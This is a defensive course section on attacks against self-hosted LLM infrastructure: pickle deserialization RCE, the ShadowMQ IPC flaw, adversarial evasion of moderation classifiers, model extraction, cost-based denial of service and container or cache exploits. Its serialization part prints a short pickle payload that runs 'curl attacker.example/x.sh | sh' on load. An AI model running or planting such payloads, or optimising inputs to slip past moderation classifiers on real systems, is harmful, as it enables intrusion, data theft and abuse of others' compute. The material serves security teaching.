4. Model and Infrastructure Attacks

Introduction

A healthcare startup deploys a self-hosted diagnostic AI model on their internal servers – a deliberate choice for data sovereignty and compliance. They download a popular open-source model from a well-known hub, load it into their inference server, and begin processing patient data. Three weeks later, their security team detects unusual outbound network traffic from the inference server. Investigation reveals that the model file contained a serialization exploit: when the model was loaded, it silently established a reverse shell to an attacker-controlled server. The attacker has had access to the model’s runtime environment – and potentially patient data – for three weeks.

Note what did not happen. Nobody sent a prompt. No guardrail was bypassed, no jailbreak was crafted, and the model never generated a single token. The compromise happened at torch.load(), before inference began. Every attack in Sections 2 and 3 needed the model to run; this one only needed it to be loaded.

That difference is a consequence of a decision the learner already made. Chapter 1’s control-ownership table showed that moving from a cloud API to self-hosting transfers rate limiting, moderation, logging and patching the serving stack onto you – none of which arrive with the weights. This section is what lives in those columns once they are yours: the model file, the loader, the container, the GPU, the cache, the orchestrator, and the API in front of all of it.

Serialization Exploits

Chapter 1 Section 3 established the rule: pickle executes arbitrary code on load, safetensors cannot, so prefer safetensors and treat a pickle-only repository as a finding. Take that as given. This section answers the two questions it left open – why deserializing is executing, and what else in your stack deserializes once the weights file is safe.

Why Loading Is Running

A pickle file is not a data structure. It is a program for a small stack machine built into Python, and pickle.load() is its interpreter. Most of its instructions build objects, but two of them – GLOBAL and REDUCE – look up a named callable in any importable module and call it with supplied arguments.

That is the whole vulnerability. Any Python object can define a __reduce__ method that tells pickle how to rebuild it, in the form “call this function with these arguments.” An attacker writes a class whose __reduce__ returns os.system and a command string. Pickle faithfully does as instructed:

# The attacker's side -- roughly 4 lines
import pickle, os

class Payload:
    def __reduce__(self):
        # "To rebuild me, call os.system with this argument"
        return (os.system, ("curl attacker.example/x.sh | sh",))

pickle.dump(Payload(), open("innocent_looking.bin", "wb"))

# The victim's side -- one line, and the payload has already run
weights = torch.load("innocent_looking.bin")   # RCE here

There is no parser bug to patch and no malformed input to reject. The file is valid and pickle is behaving exactly as documented. This is why the mitigation is a format change rather than a fix: you cannot make a code-execution feature safe by validating its inputs.

Two consequences follow that people routinely get wrong:

• The payload runs before the load finishes. Malicious opcodes placed at the head of the stream execute first. A torch.load() that ends in a traceback tells you nothing about whether code ran – the exact evasion behind the nullifAI models on Hugging Face in Section 3.
• Scanning is a filter, not a boundary. A scanner must parse the archive to inspect the stream. Change the compression and it cannot, and it reports nothing rather than reporting failure.

The Part Safetensors Does Not Fix

In October 2024, Oligo Security disclosed that Meta’s Llama Stack deserialized ZeroMQ messages with recv_pyobj() – a convenience method that runs the received bytes through pickle. Anyone who could reach the socket had remote code execution. That became CVE-2024-50050, the case study below.

The interesting part is what happened next. Over the following year the same recv_pyobj() call was found in vLLM, NVIDIA TensorRT-LLM, SGLang, Modular’s Max Server, and Microsoft’s Sarathi-Serve. It had not been independently reinvented – it was copied. SGLang’s vulnerable file opens with the comment “Adapted from vLLM.” Oligo published the cluster as ShadowMQ in November 2025.

graph TB
    subgraph P["Two paths to the same primitive"]
      direction LR
      A["Model file<br/>(pickle checkpoint)"] -->|"torch.load()"| C
      B["IPC message<br/>(ZeroMQ socket)"] -->|"recv_pyobj()"| C
      C["pickle interprets<br/>GLOBAL + REDUCE"]
    end
    C --> D["Arbitrary code, with the<br/>inference server's privileges"]
    D --> E["Reverse shell · credential theft<br/>weight exfiltration · cryptominer"]

    F["safetensors<br/>migration"] -.->|"closes"| A
    F -.->|"does NOT close"| B

    style A fill:#8b0000,color:#fff
    style B fill:#8b0000,color:#fff
    style D fill:#8b0000,color:#fff
    style E fill:#8b0000,color:#fff
    style F fill:#2d5016,color:#fff

Adversarial Perturbation

Machine learning models partition a high-dimensional space into regions and label them. An adversarial input is one moved just far enough across a boundary to change its label, while staying close enough to the original that a human sees no meaningful difference. The classic demonstration is visual – a handful of altered pixels turning a stop sign into a speed-limit sign for an image classifier – and the mathematics is identical for any differentiable model.

For LLM deployments, the technique matters in a way that is easy to miss. Your input filter is a model too.

Chapter 1 Section 3 described the guardrail stack: input moderation, refusal training, output moderation, application policy. The first and third of those layers are usually small classifiers – and a classifier has decision boundaries that can be optimised against. An attacker with query access to your moderation endpoint can search for a phrasing that the classifier scores as benign while the main model still reads it as an instruction. The payload is unchanged in meaning; only its position relative to the classifier’s boundary moves.

Model Extraction

Model extraction steals a model’s behaviour rather than its file. The attacker never touches the weights: they query the API, record what comes back, and train a local model on the pairs. The result is a distilled approximation that runs without rate limits, without per-token billing, and without terms of service.

sequenceDiagram
    participant Attacker
    participant TargetAPI as Target Model API
    participant Local as Local Training Env
    participant Clone as Cloned Model

    Attacker->>TargetAPI: 1. Send strategic query inputs
    TargetAPI-->>Attacker: 2. Return outputs (+ logprobs, if exposed)
    Attacker->>Attacker: 3. Repeat across a broad input distribution
    Attacker->>Local: 4. Feed input-output pairs as training data
    Local->>Clone: 5. Train distilled model to replicate behaviour
    Attacker->>Clone: 6. Query the clone -- no rate limits, no costs, no logs

What Your API Has To Expose For This To Work

Extraction efficiency is set by how much information each query returns, which makes this assessable rather than theoretical. Read your own endpoint configuration against this list:

The mitigation is legible from the table: do not expose log-probabilities on a public endpoint unless a customer use case requires it, and treat sustained high-volume querying across a suspiciously broad input distribution as an abuse signal rather than a good customer. Both are Layer 5 controls.

Why It Matters

• IP theft: organizations spend heavily to train proprietary models; extraction transfers the result for the price of the queries.
• Adversarial research: a local copy can be attacked with full white-box access, and findings often transfer back to the original. This is AML.T0043.001 – the clone is the proxy model.
• The clone is unobservable. Once it exists, the attacker’s experiments leave no trace in your logs. Every detection control you own stops applying.

Denial of Service

LLM inference is expensive and asymmetric: a request costs the sender almost nothing to send and the operator real GPU seconds to serve. Attackers exploit the gap.

Attack Techniques

Prompt Flooding: high volumes of API requests to exhaust compute or accumulate billing charges. Crude, and effective against anything without per-principal rate limiting.

Context Window Stuffing: inputs crafted to maximise context usage. A 200,000-token request costs dramatically more to serve than a 100-token one, and because attention cost grows faster than linearly in sequence length, the ratio is worse than the token count suggests. Repeated maximum-length requests exhaust GPU memory and evict other users’ work from the batch.

Recursive Generation: prompts that induce very long outputs – exhaustive enumerations, or self-referential instructions that keep the model generating until it hits the token cap. The attacker pays for one short prompt and the operator pays for a full-length completion.

Multi-Turn Resource Drain: in agentic systems, a single prompt that triggers a long chain of tool calls, each consuming its own compute and quota. This is the shape that scales worst, because the amplification factor is the agent’s step budget rather than the attacker’s request count – see Section 5.

From Request to Invoice

The financial path is short, and every step on it is a place to intervene:

request accepted → no per-principal quota → admitted to the batch → no input length cap → served at maximum cost → no spend alert → discovered on the monthly bill

The load-bearing control is not a bigger cluster. It is a spend cap with an alert below it, because that is the only control that bounds the loss when every other one is missing. Multi-dimensional rate limiting – per key, per user, per endpoint, per token-count – sits in Layer 5; consumption anomaly detection sits in Layer 3’s posture management.

This is also the category that stolen credentials land in. In the Storm-2139 case from Section 1, the attackers did not need any of the techniques above – harvested API keys gave them consumption at the victim’s expense directly, and the victims found out from their bills.

Infrastructure Attacks

Everything so far targeted the model. This part targets the stack underneath it – and it is where a self-hosted deployment inherits the most work, because none of these components are AI-specific enough to be covered by AI-specific tooling.

graph TB
    U["Client request"] --> O
    O["Orchestrator<br/>(n8n, LangGraph, workflow engine)"] --> G
    G["API gateway<br/>auth · rate limits"] --> S
    S["Inference server<br/>(vLLM, TensorRT-LLM, Llama Stack)"] --> K
    K["Prefix / KV cache<br/>shared across requests"] --> R
    R["Container runtime<br/>(Docker, Kubernetes)"] --> H
    H["GPU + host kernel"]

    O -.->|"CVE-2025-68613<br/>expression injection RCE"| X1["Attacker owns the<br/>orchestrator and its<br/>trusted connections"]
    S -.->|"ShadowMQ<br/>pickle over IPC"| X2["RCE as the<br/>serving process"]
    K -.->|"CVE-2025-46570<br/>timing side channel"| X3["Another tenant's<br/>prompt, recovered"]
    R -.->|"CVE-2025-23266<br/>NVIDIAScape"| X4["Root on the host,<br/>all tenants on it"]

    style X1 fill:#8b0000,color:#fff
    style X2 fill:#8b0000,color:#fff
    style X3 fill:#8b0000,color:#fff
    style X4 fill:#8b0000,color:#fff

Container and Runtime Exploits

Inference servers almost always run in containers, so the container boundary is doing security work whether or not anyone designed it to. The AI-specific twist is that GPU access requires a privileged path through that boundary.

Shared State Between Requests

To serve many users economically, inference servers share things: the GPU, the batch, and – most consequentially – the prefix cache. Caching the computed attention state for a prompt prefix means a second request with the same opening does not recompute it. That is an enormous performance win, and it makes response time depend on what other people have asked.

The same reasoning covers the rest of the shared-state surface: GPU memory that is not zeroed between tenants, batch scheduling that lets one tenant’s request length shape another’s latency, and driver-level memory scraping across processes.

Orchestration and API Layers

The orchestrator is the highest-value target in the stack and usually the least hardened, because it is treated as internal tooling rather than as production infrastructure. It holds credentials for everything the AI system touches.

The API layer in front of the model faces ordinary API risks with an unusual cost multiplier attached:

• API key theft: a stolen key is unrestricted access to metered compute – the Storm-2139 pattern above.
• Insufficient rate limiting: without per-user and per-endpoint limits, one principal can consume the whole cluster.
• Missing authentication: internal model endpoints exposed with none, on the assumption that “internal” is a control. ShadowMQ is the counter-example from inside the same host.

Deployment Pipeline Supply Chain

Section 3 covered the artifact supply chain – hubs, datasets, adapters, packages. The pipeline that moves those artifacts into production is its own surface:

• Compromised model registries: poisoning the internal registry or artifact store that deployment pulls from. The internal path typically has no signing and no scanning, because everything inside is implicitly trusted.
• CI/CD pipeline attacks: injecting steps into the deployment pipeline – bypassing model validation, or modifying weights during packaging. The Ultralytics case below is exactly this.
• Automated pull-by-name: deployment scripts that resolve a model or package by name at build time will happily resolve a typosquat, with no human present to notice.

Comparing the Five Families

Each attack above is described in isolation because that is how they are discovered. That is not how they are triaged. Read this table across, not down:

Three things fall out of reading it this way, and they are the section’s actual conclusion:

1 · Severity does not follow novelty. The most sophisticated attack here is extraction and the most damaging is a pickle file. Sort by what the attacker ends up holding – code execution beats a stolen clone beats a large bill – not by how interesting the technique is. This is the reasoning the quiz’s prioritisation question is testing.

2 · The cheap controls are almost all preventive, and they cluster. Format choice, version pinning, hidden logprobs, spend caps, and not exposing internal sockets are each close to free before deployment, and each becomes expensive or impossible afterwards. Extraction and RCE share a property that consumption does not: you cannot undo them. A bill can be paid; a clone cannot be recalled and a compromised host cannot be un-compromised.

3 · “Who needs what access” is the column that scopes your assessment. It converts an unanswerable question – are we exposed to infrastructure attacks? – into four answerable ones: who can get an image scheduled on our GPU nodes, who can edit a workflow in our orchestrator, who shares an inference backend with our tenants, and what does our public endpoint return besides text? Those are afternoon questions, and they are what Layer 2 and Layer 3 exist to close.

Case Study: ShadowMQ and CVE-2024-50050

Case Study: Ultralytics Supply Chain Attack (December 2024)